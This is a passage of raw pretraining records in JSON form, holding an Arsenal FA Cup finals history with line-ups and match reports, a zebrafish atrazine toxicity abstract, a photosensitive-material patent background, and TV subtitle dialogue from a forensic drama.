Edu, Eddie Hapgood, Thierry Henry, Rob Holding, Joe Hulme, Alex James, Laurent Koscielny, David O\u2019Leary, Alex Oxlade-Chamberlain, Robert Pires, Pat Rice, Alexis Sanchez, Gilberto Silva, Sylvain Wiltord, Jack Wilshere, Nigel Winterburn., Granit Xhaka\n\n1 \u2013 Nicolas Anelka, Pierre-Emerick Aubameyang, George Armstrong, Mikel Arteta, Alf Baker, Walley Barnes, Ray Bowden, Liam Brady, Kevin Campbell, Sol Campbell, Dani Ceballos, Denis Compton, Leslie Compton, Wilf","metadata":{"pile_set_name":"OpenWebText2"},"id":528} {"contents":"Copping, Freddie Cox, Jack Crayston, Paul Davis, Ted Drake, Mohamed Elneny, Lukasz Fabianski, Cesc Fabregas, Alex Forbes, Charlie George, Kieran Gibbs, Peter Goring, George Graham, David Jack, Pat Jennings, John Jensen, Charlie Jones, Kanu, Eddie Kelly, Ray Kennedy, Saed Kolasinac, Alexandre Lacazette, Jack Lambert, Jens Lehmann, Reg Lewis, Andy Linighan, Jimmy Logie, David Luiz, Oleg Luzhny, Frank McLintock, Bob McNab, Ainsley Maitland-Niles, George Male, Emiliano Martinez, Joe Mercer, Paul Merson, Nacho Monreal, Sammy Nelson, Eddie Nketiah, David Ospina, Marc Overmars, Sokratis Papastathopoulos, Tom Parker, Nicolas Pepe, Emmanuel Petit, David Platt, Lukas Podolski, Charlie Preedy, David Price, John Radford, Jose Antonio Reyes, Graham Rix, Herbie Roberts, Tomas Rosicky, Bacary Sagna, Yaya Sanogo, Laurie Scott, Bill Seddon, Philippe Senderos, Peter Simpson, Alan Smith, Frank Stapleton, Peter Storey, Alan Sunderland, George","metadata":{"pile_set_name":"OpenWebText2"},"id":529} {"contents":"Swindin, Wojciech Szczesny, Brian Talbot, Kieran Tierney, Kolo Toure, Robin van Persie, Theo Walcott, Steve Walford, Danny Welbeck, Alex Wilson, Bob Wilson, Christopher Wreh, Ian Wright, Willie Young.\n\nThe following players were non-playing substitutes in winning finals:\n\n2 \u2013 Mathieu Flamini, Alex Manninger.\n\n1 \u2013 Manuel Almunia, Steve Bould, Petr Cech, Sol Campbell, Lee Dixon, Gabriel, Kieran Gibbs, Gilles Grimandi, Alex Iwobi, Kanu, Lauren, Matt Macey, Nacho Monreal, Reiss Nelson, David Ospina, Lucas Perez, Bukayo Saka, Ian Selley, Matt Smith, Wojciech Szczesny, Stuart Taylor, Lucas Torreira, Kolo Toure, Giovanni van Bronckhorst, Thomas Vermaelen, Theo Walcott, Joe Willock, Ian Wright, Richard Wright.\n\nArsenal\u2019s FA Cup final goalscorers:\n\n2 \u2013 Pierre-Emrick Aubameyang, Reg Lewis, Freddie Ljungberg, Aaron Ramsey, Alexis Sanchez, Ian Wright.\n\n1 \u2013 Nicolas Anelka, Santi Cazorla, Ted Drake, Charlie George, Alex James, Bob John,","metadata":{"pile_set_name":"OpenWebText2"},"id":530} {"contents":"Eddie Kelly, Olivier Giroud, Laurent Koscielny, Jack Lambert, Andy Linighan, Per Mertesacker, Marc Overmars, Ray Parlour, Robert Pires, Frank Stapleton, Alan Sunderland, Brian Talbot, Theo Walcott.\n\nArsenal\u2019s FA Cup final captains:\n\nPlayer Appearances as captain Winners\u2019 medals as captain Charlie Buchan 1 0 Tom Parker 2 1 Alex James 1 1 Joe Mercer 2 1 Frank McLintock 2 1 Pat Rice 3 1 Tony Adams 4 3 David Seaman 1 1 Patrick Vieira 1 1 Mikel Arteta 1 1 Per Mertesacker 2 2 Pierre-Emerick Aubameyang 1 1\n\nArsenal FA Cup final managers:\n\nManager Finals Wins Herbert Chapman 3 1 George Allison 1 1 Tom Whittaker 2 1 Bertie Mee 2 1 Terry Neill 3 1 George Graham 1 1 Arsene Wenger 8 7 Mikel Arteta 1 1\n\nKits\n\nTo read about the kits that","metadata":{"pile_set_name":"OpenWebText2"},"id":531} {"contents":"Arsenal have worn in the FA Cup final, read She Wore A Yellow Ribbon.\n\nMatch details\n\n1927 \u2013 The \u201cShiny Shirt\u201d Final\n\n23rd April 1927\n\nCardiff City 1 Arsenal 0\n\nWembley Stadium\n\nAttendance: 91,206\n\nDan Lewis, Tom Parker, Andy Kennedy, Alf Baker, Jack Butler, Bob John, Joe Hulme, Charlie Buchan (captain), Jimmy Brain, Billy Blyth, Sid Hoar.\n\nArsenal went into their first FA Cup final as slight underdogs against the Bluebirds who had reached the final only two years earlier. Despite having Charlie Buchan to bolster the ranks The Gunners could not break down Cardiff, and Hughie Ferguson scored the winner. His effort slipped under Arsenal goalkeeper Dan Lewis\u2019 body and the cup left England for the only time in its long history.\n\nThis was the first FA Cup final to be broadcast live on BBC radio,","metadata":{"pile_set_name":"OpenWebText2"},"id":532} {"contents":"having future Arsenal manager and experienced journalist George Allison at the microphone\n\n1930 \u2013 The \u201cGraf Zeppelin\u201d Final\n\n26th April 1930\n\nArsenal 2 Huddersfield Town 0\n\nWembley Stadium\n\nAttendance: 92,488\n\nCharlie Preedy, Tom Parker (captain), Eddie Hapgood, Alf Baker, Bill Seddon, Bob John, Joe Hulme, David Jack, Jack Lambert, Alex James, Cliff Bastin.\n\nGoalscorers: James (16), Lambert (88)\n\nFor their second final Arsenal were pitted against Herbert Chapman\u2019s former team. Arsenal\u2019s first goal had been planned on the team bus on the way to the game, Alex James taking a quick free-kick to Cliff Bastin who returned the ball to the unmarked linchpin to slot home. In the dying minutes a long through-ball found Jack Lambert who shrugged off the Huddersfield defenders to secure the game and Arsenal\u2019s first major silverware.\n\nBoth teams were led onto the","metadata":{"pile_set_name":"OpenWebText2"},"id":533} {"contents":"pitch side-by-side for the first time in honour of Herbert Chapman.\n\n1932 \u2013 The \u201cOver The Line\u201d Final\n\n23rd April 1932\n\nNewcastle United 2 Arsenal 1\n\nWembley Stadium\n\nAttendance: 92,298\n\nFrank Moss, Tom Parker (captain), Eddie Hapgood, Charlie Jones, Herbie Roberts, George Male, Joe Hulme, David Jack, Jack Lambert, Cliff Bastin, Bob John.\n\nGoalscorer: John (15).\n\nArsenal\u2019s build up was thrown into turmoil as their playmaker was ruled out in a training exercise as Alex James failed to pass trainer Tom Whittaker\u2019s test at their Brighton practice ground. Without James, Arsenal failed to match Newcastle despite going ahead from a Bob John goal. Two Jack Allen goals, one in each half, ensured Newcastle won the FA Cup for the third time.\n\nPhotographic evidence proved that the cross for the Magpies first goal was made from over the","metadata":{"pile_set_name":"OpenWebText2"},"id":534} {"contents":"goal line. However at the time the referee allowed play to continue and the goal stood.\n\n.\n\n1936 \u2013 The \u201cViewed From The Skies\u201d Final\n\n25th April 1936\n\nArsenal 1 Sheffield United 0\n\nWembley Stadium\n\nAttendance: 93,384\n\nAlex Wilson, George Male, Eddie Hapgood, Jack Crayston, Herbie Roberts, Wilf Copping, Joe Hulme, Ray Bowden, Ted Drake, Alex James (captain), Cliff Bastin.\n\nGoalscorer: Drake (74).\n\nArsenal\u2019s team consisted of 10 internationals, with the only non-capped player being the goalkeeper, Alex Wilson. Consequently they were hot favourites, however Sheffield United rose to the occasion and on the day were marginally the better team. Nevertheless the Gunners quality eventually shone through and they scored the winner through the left foot of Ted Drake, who had recently returned to the team after a cartilage operation.\n\nA dispute between Wembley and the newsreel companies","metadata":{"pile_set_name":"OpenWebText2"},"id":535} {"contents":"resulted in the latter not being allowed inside the stadium to film the game. They got around this by filming from autogyros that were flown over the stadium.\n\n1950 \u2013 The \u201cOld Gold\u201d Final\n\n29th April 1950\n\nArsenal 2 Liverpool 0\n\nWembley Stadium\n\nAttendance: 100,000\n\nGeorge Swindin, Laurie Scott, Walley Barnes, Alex Forbes, Leslie Compton, Joe Mercer (captain), Freddie Cox, Jimmy Logie, Peter Goring, Reg Lewis, Denis Compton.\n\nGoalscorer: Lewis (18 and 63).\n\nResplendent in their old gold kit, specially made for the final, Arsenal dominated this final completely. Conditions were slippery following incessant rain beforehand, and Arsenal adapted the best. Reg Lewis\u2019 first goal was a simple tap-in following a combination of passes masterminded by Logie. Lewis\u2019 second goal was almost identical to his first and capped a great team effort.\n\nThis was the first FA","metadata":{"pile_set_name":"OpenWebText2"},"id":536} {"contents":"Cup final shown live on television. It was watched by an invited audience of 1,000 on a 20ft x 15ft screen at the Odeon Cinema in Penge.\n\n1952 \u2013 The \u201cAbout Time They Had Substitutes\u201d Final\n\n3rd May 1952\n\nNewcastle United 1 Arsenal 0\n\nWembley Stadium\n\nAttendance: 100,000\n\nGeorge Swindin, Walley Barnes, Lionel Smith, Alex Forbes, Ray Daniel, Joe Mercer (captain), Freddie Cox, Jimmy Logie, Cliff Holton, Doug Lishman, Don Roper.\n\nWalley Barnes left the pitch after half an hour with a knee injury meaning the Gunners played on with ten men for the rest of the match. The story of the match was the Herculean effort from Arsenal\u2019s fit players who did well to guard the goal from Newcastle\u2019s most feared forward Jackie Milburn. But cup-holders Newcastle won the closely contested game with a","metadata":{"pile_set_name":"OpenWebText2"},"id":537} {"contents":"late headed winner from Chilean born striker Robledo.\n\nWartime Prime Minister Winston Churchill was in the royal box to present the FA Cup trophy.\n\n1971 \u2013 The \u201cLong Haired Lover Beats Liverpool\u201d Final\n\n8th May 1971\n\nArsenal 2 Liverpool 1\n\nWembley Stadium\n\nAttendance: 100,000\n\nBob Wilson, Pat Rice, Bob McNab, Peter Storey (Eddie Kelly), Frank McLintock (captain), Peter Simpson, George Armstrong, George Graham, John Radford, Ray Kennedy, Charlie George.\n\nGoalscorers: Kelly (101), George (111).\n\nFresh from the League title win at White Hart Lane, Arsenal dominated the play in a goalless normal time. However, just into extra-time Steve Heighway scored only for Eddie Kelly, on for Peter Storey, to hit the ball goal-bound for the equaliser. In the final session of extra-time Charlie George passed the ball to Radford and got it back for George to rifle","metadata":{"pile_set_name":"OpenWebText2"},"id":538} {"contents":"in a 20 yard scorcher. The Double was won.\n\nEddie Kelly became the first substitute to score in an FA Cup final.\n\n1972 \u2013 The \u201cCentenary Year\u201d Final\n\n6th May 1972\n\nLeeds United 1 Arsenal 0\n\nWembley Stadium\n\nAttendance: 100,000\n\nGeoff Barnett, Pat Rice, Bob McNab, Peter Storey, Frank McLintock (captain), Peter Simpson, George Armstrong, Alan Ball, Charlie George, John Radford (Ray Kennedy), George Graham.\n\nFavourites Leeds outplayed Arsenal in the Centenary Cup final. Geoff Barnett continued to stand in for the injured Bob Wilson, but could do nothing to stop Leeds scoring, when a header from \u2018Man of the Match\u2019 Allan Clarke went in from a Mick Jones cross. Arsenal went looking for the equaliser but to no avail as their best chance was in the 70th minute when Charlie George hit the woodwork\n\nDespite it","metadata":{"pile_set_name":"OpenWebText2"},"id":539} {"contents":"being billed as the Centenary final it was actually the 91st final due to the intervention of the First and Second World Wars.\n\n1978 \u2013 The \u201cInjury List\u201d Final\n\n6th May 1978\n\nIpswich Town 1 Arsenal 0\n\nWembley Stadium\n\nAttendance: 100,000\n\nPat Jennings, Pat Rice (captain), Sammy Nelson, David Price, David O\u2019Leary, Willie Young, Liam Brady (Graham Rix), Alan Sunderland, Malcolm Macdonald, Frank Stapleton, Alan Hudson.\n\nThe final was a disappointment for the Gunners as an injury-hit Arsenal, despite being overwhelming favourites, did not play to their undoubted talents and were beaten by Bobby Robson\u2019s Ipswich Town, in their only appearance in an FA Cup final. The winner was scored by Roger Osborne after Ipswich had dominated the game.\n\nThe Cup final was the only round in which Malcolm Macdonald did not score in this season\u2019s","metadata":{"pile_set_name":"OpenWebText2"},"id":540} {"contents":"competition.\n\n1979 \u2013 The \u201cFive Minute\u201d Final\n\n12th May 1979\n\nArsenal 3 Manchester United 2\n\nWembley Stadium\n\nAttendance: 99,219\n\nPat Jennings, Pat Rice (captain), Sammy Nelson, Brian Talbot, David O\u2019Leary, Willie Young, Liam Brady, Alan Sunderland, Frank Stapleton, David Price (Steve Walford), Graham Rix.\n\nGoalscorers: Talbot (12), Stapleton (43), Sunderland (89).\n\nGoals by Brian Talbot and Frank Stapleton before half time gave the Gunners a two goal lead into the half time break. Arsenal exerted a stranglehold on the match but after David Price was substituted near the end, Manchester United scored twice in quick succession. With extra-time looming Liam Brady and Graham Rix combined for Alan Sunderland to score. Cue the celebrations both on the pitch and the Wembley terraces.\n\nThis match is often referred to as the \u201cFive Minute Final\u201d owing to the exciting finale.\n\n1980","metadata":{"pile_set_name":"OpenWebText2"},"id":541} {"contents":"\u2013 The \u201cAbsolutely Knackered\u201d Final\n\n10th May 1980\n\nWest Ham United 1 Arsenal 0\n\nWembley Stadium\n\nAttendance: 100,000\n\nPat Jennings, Pat Rice (captain), John Devine (Sammy Nelson), Brian Talbot, David O\u2019Leary, Willie Young, Liam Brady, Alan Sunderland, Frank Stapleton, David Price, Graham Rix.\n\nTrevor Brooking and Alan Devonshire controlled the midfield, as Arsenal created few chances. Brooking scored with a low header and from then on West Ham never really looked in trouble. This final is remembered for Willie Young\u2019s foul on Paul Allen minutes from time as he moved in on goal just outside the penalty area. Young received a yellow card and the administrators moved in to alter the professional foul rules.\n\nWest Ham had been drawn as the \u201chome\u201d team but chose to wear their change kit of all white. Arsenal had","metadata":{"pile_set_name":"OpenWebText2"},"id":542} {"contents":"to wear their away kit due to a clash of colour between the shorts.\n\n1993 \u2013 The \u201cLast Gasp\u201d Final\n\n15th May 1993\n\nArsenal 1 Sheffield Wednesday 1\n\nWembley Stadium\n\nAttendance: 79,347\n\nDavid Seaman, Lee Dixon, Andy Linighan, Tony Adams (captain), Nigel Winterburn, Paul Merson, Paul Davis, John Jensen, Ray Parlour (Alan Smith), Kevin Campbell, Ian Wright (David O\u2019Leary).\n\nGoalscorer: Wright (20).\n\nIt was unsurprising that these two teams produced a draw having played each other just nine days before and for the fourth time this season. This resulted in a dour game in which both teams cancelled each other out except for two typical examples of goal-poaching. An Ian Wright header from a set-piece put Arsenal ahead whilst David Hirst converted a Mark Bright header from close range.\n\nBefore the game, Steve Morrow collected his League","metadata":{"pile_set_name":"OpenWebText2"},"id":543} {"contents":"Cup winner\u2019s medal, having broken his arm at the end of that final following some high-jinks from Tony Adams.\n\n20th May 1993\n\nArsenal 2 Sheffield Wednesday 1\n\nWembley Stadium\n\nAttendance: 62,267\n\nDavid Seaman, Lee Dixon, Andy Linighan, Tony Adams (captain), Nigel Winterburn, Paul Merson, Paul Davis, John Jensen, Kevin Campbell, Alan Smith, Ian Wright (David O\u2019Leary).\n\nGoalscorers: Wright (34), Linighan (119).\n\nArsenal, in the last ever FA Cup final replay, became the first team to win the domestic cup double with a very late headed winner from Andy Linighan at rain swept Wembley. The Gunners had taken the lead in front of a low crowd of 62,267 after Ian Wright ran onto a Alan Smith flick and shot past Chris Woods, only for Wednesday to equalise with a deflected Chris Waddle shot past David Seaman.\n\nDavid","metadata":{"pile_set_name":"OpenWebText2"},"id":544} {"contents":"O\u2019Leary won his second FA Cup winner\u2019s medal fourteen years after his first, the longest gap for a player.\n\n1998 \u2013 The \u201cEasy\u201d Cup Final\n\n16th May 1998\n\nArsenal 2 Newcastle United 0\n\nWembley Stadium\n\nAttendance: 79,183\n\nDavid Seaman, Lee Dixon, Tony Adams (captain), Martin Keown, Nigel Winterburn, Ray Parlour, Patrick Vieira, Emmanuel Petit, Marc Overmars, Christopher Wreh (David Platt), Nicolas Anelka.\n\nGoalscorers: Overmars (23), Anelka (69).\n\nArsenal were strong favourites to win the FA Cup even without the injured Dennis Bergkamp and Ian Wright. Marc Overmars settled any Arsenal nerves when he prodded an Emmanuel Petit through-ball between Shay Given\u2019s legs. Alan Shearer hit the post in the second-half before Nicolas Anelka clinched Arsenal\u2019s second Double when he shrugged off Steve Howey and produced a great finish from just inside the penalty area.\n\nTony Adams became","metadata":{"pile_set_name":"OpenWebText2"},"id":545} {"contents":"the first Arsenal captain to lead his side to two FA Cup final wins.\n\n2001 \u2013 The \u201cWhy Did He Make Those Substitutions\u201d Final\n\n12th May 2001\n\nLiverpool 2 Arsenal 1\n\nMillennium Stadium\n\nAttendance: 72,500\n\nDavid Seaman, Lee Dixon (Dennis Bergkamp), Martin Keown, Tony Adams (captain), Ashley Cole, Robert Pires, Gilles Grimandi, Patrick Vieira, Freddie Ljungberg (Nwankwo Kanu), Sylvain Wiltord (Ray Parlour), Thierry Henry.\n\nGoalscorer: Ljungberg (72).\n\nA relatively quiet first half ended goalless, but after quarter of an hour Arsenal were inexplicably denied a penalty when a Thierry Henry goal bound shot was handled on the line by Stephane Henchoz. The Gunners dominated exchanges in the second-half and went ahead from Freddie Ljungberg, only for Michael Owen to score a late brace to deny Arsenal in the Cardiff sunshine.\n\nThis was the first time the FA","metadata":{"pile_set_name":"OpenWebText2"},"id":546} {"contents":"Cup final had been played outside of England, due to the Wembley redevelopment plan.\n\n2002 \u2013 The \u201cIt\u2019s Alright, It\u2019s Only Ray Parlour\u201d Final\n\n4th May 2002\n\nArsenal 2 Chelsea 0\n\nMillennium Stadium\n\nAttendance: 73,963\n\nDavid Seaman, Lauren, Sol Campbell, Tony Adams (captain), Ashley Cole, Sylvain Wiltord (Martin Keown), Ray Parlour, Patrick Vieira, Freddie Ljungberg, Dennis Bergkamp (Edu), Thierry Henry (Nwankwo Kanu).\n\nGoalscorers: Parlour (70), Ljungberg (80).\n\nAlthough both sides were graced with world-class forwards, they were matched by two goalkeepers of equal stature. The deadlock was finally broken when \u201cit\u2019s only Ray Parlour\u201d scored with a curling shot inside Cudicini\u2019s left post from 25 yards out. Ten minutes later man of the match Freddie Ljungberg scored with an almost identical goal, to which Chelsea had no answer. This win set Arsenal up for their third","metadata":{"pile_set_name":"OpenWebText2"},"id":547} {"contents":"Double which was won four days later at Old Trafford.\n\nFreddie Ljungberg became the first player in 40 years to score in successive FA Cup finals.\n\n2003 \u2013 The \u201cIndoors\u201d Final\n\n17th May 2003\n\nArsenal 1 Southampton 0\n\nMillennium Stadium\n\nAttendance: 73,726\n\nDavid Seaman (captain), Lauren, Martin Keown, Oleg Luzhny, Ashley Cole, Robert Pires, Ray Parlour, Gilberto Silva, Freddie Ljungberg, Dennis Bergkamp (Sylvain Wiltord), Thierry Henry.\n\nGoalscorer: Pires (38).\n\nArsenal retained the FA Cup for the first time in the club\u2019s history, in this all-Premiership clash, with a Robert Pires shot from short range. The Gunners were hot pre-match favourites and the gulf in class on the pitch was reflected in their almost total dominance, especially shown in the form of Dennis Bergkamp and man of the match Thierry Henry.\n\nThis was the first FA Cup Final to","metadata":{"pile_set_name":"OpenWebText2"},"id":548} {"contents":"be played indoors as the Millennium Stadium retractable roof was closed due to the poor weather.\n\n2005 \u2013 The \u201cPark The Bus\u201d Final\n\n21st May 2005\n\nArsenal 0 Manchester United 0 (Arsenal won 5-4 on penalties)\n\nMillennium Stadium\n\nAttendance: 71,876\n\nJens Lehmann, Lauren, Kolo Toure, Philippe Senderos, Ashley Cole, Cesc Fabregas (Robin van Persie), Patrick Vieira (captain), Gilberto Silva, Robert Pires (Edu), Jose Antonio Reyes, Dennis Bergkamp (Freddie Ljungberg).\n\nPenalty scorers: Lauren, Ljungberg, van Persie, Cole, Vieira.\n\nArsene Wenger changed from his usual attacking tactics to a holding game, looking to contain Manchester United\u2019s forwards. The result was a game of few chances and no goals. As the game headed towards penalties, Arsenal were dealt a blow as Reyes was sent-off for a second bookable offence. Nine of the ten penalties were converted, the last being","metadata":{"pile_set_name":"OpenWebText2"},"id":549} {"contents":"Patrick Vieira\u2019s last kick for the club which sealed Arsenal\u2019s tenth FA Cup win.\n\nThis was the first FA Cup final to be decided by a penalty shoot-out.\n\n2014 \u2013 The \u201cComeback\u201d Final\n\n17th May 2014\n\nArsenal 3 Hull City 2\n\nWembley Stadium\n\nAttendance: 89,345\n\nLukasz Fabianski, Bacary Sagna, Per Mertesacker, Laurent Koscielny, Kieran Gibbs, Mikel Arteta, Aaron Ramsey, Santi Cazorla (Tomas Rosicky), Mesut Ozil (Jack Wilshere), Lukas Podolski (Yaya Sanogo), Olivier Giroud.\n\nScorers: Cazorla (17), Koscielny (71), Ramsey (109).\n\nArsenal made the worst possible start, conceding two goals within the opening nine minutes. It could have been game over a few minutes later had Kieran Gibbs not headed Alex Bruce\u2019s looping header off the line. Santi Cazorla\u2019s free-kick brought Arsenal back into the game, and Laurent Koscielny levelled the scores midway through the second half. Aaron","metadata":{"pile_set_name":"OpenWebText2"},"id":550} {"contents":"Ramsey fired home the winner from Olivier Giroud\u2019s backheel to complete an amazing comeback. Hull could have grabbed an equaliser as Lukasz Fabianski went walkabouts but Aluko couldn\u2019t find the net from an acute angle.\n\n2015 \u2013 The \u201cEasy Peezy Lemon Squeezy\u201d Final\n\n30th May 2015\n\nArsenal 4 Aston Villa 0\n\nWembley Stadium\n\nAttendance: 89,283\n\nWojciech Szczesny, Hector Bellerin, Per Mertesacker, Laurent Koscielny, Nacho Monreal, Theo Walcott (Olivier Giroud), Francis Coquelin, Santi Cazorla, Aaron Ramsey, Alexis Sanchez (Alex Oxlade-Chamberlain), Mesut Ozil (Jack Wilshere).\n\nScorers: Walcott (50), Sanchez (60), Mertesacker (62), Giroud (90).\n\nThe Gunners resplendent in yellow and blue strolled to their biggest ever final win in what was frankly the most one sided final for many a year. However it wasn\u2019t until Theo Walcott thumped in the opener 5 minutes before half time that the","metadata":{"pile_set_name":"OpenWebText2"},"id":551} {"contents":"overwhelming superiority was even slightly reflected. An absolute stunner by Alexis Sanchez just after the break put the result beyond doubt. The rest of the game had the same lopsided feel as captain Per Mertesacker extended the lead with a header and Olivier Giroud scored right on the stroke of the final whistle.\n\n2017 \u2013 The \u201cUnexpected Win\u201d Final\n\n27th May 2017\n\nArsenal 2 Chelsea 1\n\nWembley Stadium\n\nAttendance: 89,472\n\nDavid Ospina, Rob Holding, Per Mertesacker (captain), Aaron Ramsey, Nacho Monreal, Alex Oxlade-Chamberlain (Francis Coquelin), Hector Bellerin, Granit Xhaka, Danny Welbeck (Olivier Giroud), Mesut Ozil, Alexis Sanchez (Mohamed Elneny).\n\nGoalscorers: Sanchez (4), Ramsey (79)\n\nA defence put together with elastoplast was the lynchpin of this unexpectedly deserved win. Per Meresacker in his only start of the season was magnificent and in only the fourth minute it","metadata":{"pile_set_name":"OpenWebText2"},"id":552} {"contents":"became apparent that luck was on the Gunners side, when an Alexis Sanchez finish which involved a clear handball (though technically allowable due to the rules) was given. Against the run of play Diego Costa scored, only for Aaron Ramsey to immediately head home the winner from a pinpoint Olivier Groud cross. This was Arsene Wenger\u2019s seventh final triumph, and the club\u2019s 13th win \u2013 both records for the competition.\n\n2020 \u2013 The \u201cEmpty Stadium\u201d Final\n\n1st August 2020\n\nArsenal 2 Chelsea 1\n\nWembley Stadium\n\nAttendance: 0\n\nEmi Martinez, Hector Bellerin, KieranTierney (Sead Kolasinac), Granit Xhaka, David Luiz (Sokratis Papastathopoulos), Rob Holding, Ainsley Maitland-Niles, Dani Ceballos, Pierre-Emerick Aubameyang (captain), Alex Lacazette (Eddie Nketiah), Nicolas Pepe\n\nGoalscorer: Aubameyang (28,67)\n\nAgainst a backdrop of exceptional societal circumstances the Gunners extended their record FA Cup triumphs to 14 with","metadata":{"pile_set_name":"OpenWebText2"},"id":553} {"contents":"no fans witnessing the Wembley win. The game began badly as, after five minutes, Chelsea strolled through the middle for Pulisic to score. However, Arsenal got a grip and took hold of the match soon afterwards. Near the half-hour mark, Pierre-Emerick Aubameyang was fouled, got up and took the penalty himself for the equaliser. Turning Kurt Zouma inside out, the captain delivered a world class finish to chip over Willy Caballero for the winner in the second half.\n\n\u2014\u2014\u2014\u2014\u2014\u2013\n\nDon\u2019t forget to subscribe to the blog (top right). You know it makes sense.\n\nOr have a look at our other site: The Arsenal Collection for more Arsenal memorabilia.\n\nCopies of our books Royal Arsenal \u2013 Champions of the South and Arsenal: The Complete Record 1886-2018 are still available from the publishers.","metadata":{"pile_set_name":"OpenWebText2"},"id":554} {"contents":"Uptake, toxicity, and effects on detoxication enzymes of atrazine and trifluoroacetate in embryos of zebrafish.\nThe uptake, toxicity, and elimination of atrazine and trifluoroacetate (TFA) were studied in early life stages of the zebrafish (Danio rerio). Furthermore, the effects of these xenobiotics on soluble (s) and microsomal (m) glutathione S-transferases (GST) of zebrafish embryos were investigated using 1-chloro-2,4-dinitrobenzene (CDNB), 1,2-dichloro-4-nitrobenzene (DCNB), and [(14)C]atrazine. [(14)C]Atrazine was taken up by the embryos within seconds, unhindered by the chorions. It accumulated in the embryos by a factor of 19 after 24 h of exposure time. LC(50) (48 h) was determined at 36.8 mg\/L. At a level of 5 mg\/L atrazine, activities of s and m GSTs were elevated in most stages, especially in prim 6 and long pec stage (24, 48 h","metadata":{"pile_set_name":"PubMed Abstracts"},"id":555} {"contents":"after fertilization, respectively). GST activity toward atrazine was detectable only in untreated D. rerio eggs, increasing with developmental time. [(14)C]Atrazine was eliminated from the embryos between 24 and 48 h, indicating a possible metabolism to a more hydrophilic GSH conjugate. [(14)C]TFA was taken up by embryos, reaching at maximum fivefold the concentration of the incubation medium after 10 h. The chorions served no physiological protection. TFA (1 g\/L) caused low elevation of the GST activity. No acute toxic effects (48 h) were observed up to 4 g\/L TFA.","metadata":{"pile_set_name":"PubMed Abstracts"},"id":556} {"contents":"The invention relates to a package of a rolled photosensitive material usable for loading in a light room.\nA package of a rolled photosensitive material usable for loading in a light room is loaded into a magazine in light-shielding state, and the light-shielding ability of the package is broken in the magazine, and a photosensitive strip material is extended through the slit of the magazine.\nThe above mentioned conventional package of a rolled photosensitive material comprises a core, a photosensitive strip material wound around the core, a light-shielding leader connected to the leading end of the photosensitive strip material to shield the peripheral surface of the photosensitive strip material from light and side light-shielding covers connected to both sides of the light-shielding leader so that the boundary between the side","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":557} {"contents":"light-shielding covers and the light-shielding leader corresponds to the boundary between the peripheral surface and the side surface of the photosensitive strip material to shield the side surface of the photosensitive strip material from light, and at least one of the above mentioned light-shielding leader and side light-shielding covers are composed of the material which tends to tear along the direction of the boundary (EP 0 414 265 A2 which corresponds to Japanese Utility Model KOKAI No. 3-77933). The above mentioned conventional package is preferable because it can be made easily and at low cost.\nHowever, since the light-shielding leader and the side light-shielding cover were made of only polyethylene film they had disavantages, such as the occurrence of pinholes and the loss of light-shielding ability caused by the","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":558} {"contents":"external force through drop and vibration which occur during transportation. Particularly, the side light-shielding covers have these disadvantages.\nBesides, since the core is made of a conventional paper holder, it is insufficient in moistureproofness upon to temperature and moisture changes during transportation or storage. Thus, moisture can permeate into the package, and affect adversely the photographic properties of the photosensitive strip material. On the other hand, although a cushioning package for preventing the occurrence of pinholes and a moistureproof package for preventing the permeation of moisture may be utilized they are expensive because of a special package.","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":559} {"contents":"\"Okay, dude, this is not worth it.\" \"This is sick.\" \"Like disgusting sick, not sick sick.\" \"Yo, pull it together, man.\" \"We can't keep letting Cooper get the better of us.\" \"Look what he did to your hair.\" \"You look like a human whoopee cushion.\" \"Now hurry it up.\" \"The garbage truck's gonna be here in, like, 15 minutes.\" \"Oh, man.\" \"Oh, this is gnarly.\" \"Yes.\" \"That is definitely a keeper.\" \"Yeah, imagine the look on the Coop's face when he opens his car and all these guts spill out.\" \"Dude, what do you think this is from?\" \"Uh, mountain lion, probably.\" \"Oh, yeah.\" \"What about this?\" \"Cobra.\" \"Gross.\" \"Dude, what about this?\" \"Get out of here!\" \"Go!\" \"I'm never riding a bike again.\" \"Uh, whoa, whoa, whoa,","metadata":{"pile_set_name":"OpenSubtitles"},"id":560} {"contents":"whoa.\" \"Christine, is everything...?\" \"Wow, wow, okay.\" \"What happened?\" \"Look, I was teaching her how to ride a bike, okay?\" \"And she was doing really great.\" \"She was... a little wobbly at first, and then I just kind of let her go and then, bam-- hit the ground.\" \"Booth, I-I don't want Christine riding a bicycle until I can properly teach her about the physics.\" \"What physics?\" \"What are you talking about, huh?\" \"Physics.\" \"You get on, fall off, you figure it out, you get back on.\" \"What physics?\" \"Gyroscopic forces, acceleration due to gravity, friction.\" \"\"Friction\"?\" \"Don't you think that it's-it's good to not know how something works?\" \"I mean, come on, science takes the magic out of everything.\" \"There's no magic to begin with.\" \"It's just","metadata":{"pile_set_name":"OpenSubtitles"},"id":561} {"contents":"rules that govern the universe.\" \"Next thing you know you're gonna be telling her that rainbows are...\" \"Light refracted through water?\" \" She already knows that.\" \" Of course she does.\" \"Now that Christine's had some time to self-soothe,\" \"I'm going to go check in on her.\" \"Oh...\" \"Oh.\" \"Yeah, all right, well, I guess we're going to work, because there's a body... ooh, found in a Dumpster full of animal guts?\" \"That's your territory.\" \"It'll be fascinating to see how non-human viscera effects the decomposition of a human corpse.\" \"There goes my appetite.\" \"You'd think after 12 years you could handle a little viscera with your oatmeal.\" \"Three Dumpsters filled with entrails and fluid.\" \"Aren't these bags not supposed to leak?\" \"Look.\" \"Cam?\" \"No.\" \"No, that would","metadata":{"pile_set_name":"OpenSubtitles"},"id":562} {"contents":"be the liver of a moose.\" \"Damn it!\" \"Yeah.\" \"Hey, good try, though, you know?\" \"Maybe next time.\" \"Yeah?\" \"You want to take my place?\" \"I would, but unfortunately they haven't, you know, invented a specialized wheelchair for intestine diving.\" \" Yeah.\" \" Dr. Hodgins?\" \"Yeah?\" \"Have you found time of death?\" \"No.\" \"No, not even close.\" \"No, this pool of carcasses is like\" \"Christmas to carrion feeders, you know?\" \"They hopped around, so it's close to impossible to figure out when or where they started.\" \"Yes!\" \"I found a human humerus.\" \" Part of one.\" \" Mm.\" \"Well, based on the head diameter and cortical involution,\" \"I'd say the victim is female, mid-40's.\" \"Oh, my God.\" \"This is disgusting.\" \"Do we have the skull?\" \"Oh, hey, Rodolfo?\"","metadata":{"pile_set_name":"OpenSubtitles"},"id":563} {"contents":"\"Gonna need to find the skull ASAP.\" \"As we all know, skulls don't float, so...\" \"No.\" \"Angie, 